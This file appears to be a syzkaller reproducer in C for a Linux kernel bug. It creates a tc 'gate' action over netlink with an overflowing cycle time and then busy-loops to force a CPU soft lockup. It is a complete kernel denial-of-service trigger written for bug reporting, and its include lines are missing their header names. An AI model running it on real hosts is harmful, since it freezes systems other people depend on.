// https://syzkaller.appspot.com/bug?id=2d0467a69e5dc1ebb996eb4460b01e965dceace3 #include #include #include #include #include #include #include #include #include #include #include #include #define TCA_ACT_TAB 1 #define TCA_ACT_KIND 1 #define TCA_ACT_OPTIONS 2 #define TCA_ACT_INDEX 3 #define TCA_GATE_PARMS 2 #define TCA_GATE_ENTRY_LIST 5 #define TCA_GATE_BASE_TIME 6 #define TCA_GATE_CYCLE_TIME 7 #define TCA_GATE_ONE_ENTRY 1 #define TCA_GATE_ENTRY_INTERVAL 3 #define TC_ACT_PIPE 3 /* Required flag for nested netlink attributes */ #define NLA_F_NESTED (1 << 15) struct tc_gate { uint32_t index; uint32_t capab; int action; int refcnt; int bindcnt; }; #define NLMSG_TAIL(nmsg) \ ((struct rtattr *) (((void *) (nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len))) int addattr_l(struct nlmsghdr *n, int maxlen, int type, const void *data, int alen) { int len = RTA_LENGTH(alen); struct rtattr *rta; if (NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len) > maxlen) return -1; rta = NLMSG_TAIL(n); rta->rta_type = type; rta->rta_len = len; if (alen) memcpy(RTA_DATA(rta), data, alen); n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len); return 0; } struct rtattr *addattr_nest(struct nlmsghdr *n, int maxlen, int type) { struct rtattr *nest = NLMSG_TAIL(n); addattr_l(n, maxlen, type | NLA_F_NESTED, NULL, 0); return nest; } int addattr_nest_end(struct nlmsghdr *n, struct rtattr *nest) { nest->rta_len = (void *)NLMSG_TAIL(n) - (void *)nest; return n->nlmsg_len; } int addattr32(struct nlmsghdr *n, int maxlen, int type, uint32_t data) { return addattr_l(n, maxlen, type, &data, sizeof(uint32_t)); } int addattr64(struct nlmsghdr *n, int maxlen, int type, uint64_t data) { return addattr_l(n, maxlen, type, &data, sizeof(uint64_t)); } int addattr_str(struct nlmsghdr *n, int maxlen, int type, const char *str) { return addattr_l(n, maxlen, type, str, strlen(str) + 1); } int main(void) { /* Lower the watchdog threshold to trigger soft lockup faster */ int fd = open("/proc/sys/kernel/watchdog_thresh", O_WRONLY); if (fd >= 0) { int res = write(fd, "1\n", 2); if (res < 0) { printf("[-] Failed to write watchdog_thresh: %s\n", strerror(errno)); } else { printf("[+] write watchdog_thresh successful.\n"); } close(fd); } else { printf("[-] Failed to open watchdog_thresh: %s\n", strerror(errno)); } int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (sock < 0) { printf("[-] Failed to socket: %s\n", strerror(errno)); exit(1); } printf("[+] socket successful.\n"); struct { struct nlmsghdr n; struct tcamsg t; char buf[1024]; } req = { .n.nlmsg_len = NLMSG_LENGTH(sizeof(struct tcamsg)), .n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL, .n.nlmsg_type = RTM_NEWACTION, .t.tca_family = AF_UNSPEC, }; struct rtattr *tab = addattr_nest(&req.n, sizeof(req), TCA_ACT_TAB); struct rtattr *act1 = addattr_nest(&req.n, sizeof(req), 1); addattr_str(&req.n, sizeof(req), TCA_ACT_KIND, "gate"); struct rtattr *opt = addattr_nest(&req.n, sizeof(req), TCA_ACT_OPTIONS); struct tc_gate parm = { .index = 1, .action = TC_ACT_PIPE, }; addattr_l(&req.n, sizeof(req), TCA_GATE_PARMS, &parm, sizeof(parm)); /* Explicitly set base time to 0 */ addattr64(&req.n, sizeof(req), TCA_GATE_BASE_TIME, 0); /* Set cycle time to 0xFFFFFFFFFFFFFFFF to trigger s64 overflow */ addattr64(&req.n, sizeof(req), TCA_GATE_CYCLE_TIME, 0xFFFFFFFFFFFFFFFFULL); struct rtattr *entry_list = addattr_nest(&req.n, sizeof(req), TCA_GATE_ENTRY_LIST); struct rtattr *entry1 = addattr_nest(&req.n, sizeof(req), TCA_GATE_ONE_ENTRY); /* Set interval to 1ns */ addattr32(&req.n, sizeof(req), TCA_GATE_ENTRY_INTERVAL, 1); addattr_nest_end(&req.n, entry1); addattr_nest_end(&req.n, entry_list); addattr_nest_end(&req.n, opt); addattr_nest_end(&req.n, act1); addattr_nest_end(&req.n, tab); struct sockaddr_nl nladdr = { .nl_family = AF_NETLINK }; int res = sendto(sock, &req, req.n.nlmsg_len, 0, (struct sockaddr *)&nladdr, sizeof(nladdr)); if (res < 0) { printf("[-] Failed to sendto: %s\n", strerror(errno)); exit(1); } printf("[+] sendto successful.\n"); /* Read ACK to check for netlink errors */ char ack_buf[4096]; int len = recv(sock, ack_buf, sizeof(ack_buf), 0); if (len < 0) { printf("[-] Failed to recv: %s\n", strerror(errno)); exit(1); } printf("[+] recv successful.\n"); struct nlmsghdr *nlh = (struct nlmsghdr *)ack_buf; if (nlh->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(nlh); if (err->error != 0) { printf("[-] Netlink error: %d (%s)\n", err->error, strerror(-err->error)); exit(1); } } printf("[+] Action created successfully. Waiting for soft lockup...\n"); /* Trap the CPU in task context to allow the timer storm to trigger the soft lockup */ int u_sock = socket(AF_UNIX, SOCK_DGRAM, 0); if (u_sock < 0) { printf("[-] Failed to socket (unix): %s\n", strerror(errno)); exit(1); } printf("[+] socket (unix) successful.\n"); struct sockaddr_un addr = { .sun_family = AF_UNIX, .sun_path = "/tmp/syz_gate_test" }; unlink(addr.sun_path); res = bind(u_sock, (struct sockaddr *)&addr, sizeof(addr)); if (res < 0) { printf("[-] Failed to bind: %s\n", strerror(errno)); exit(1); } printf("[+] bind successful.\n"); while (1) { sendto(u_sock, "a", 1, MSG_DONTWAIT, (struct sockaddr *)&addr, sizeof(addr)); } return 0; }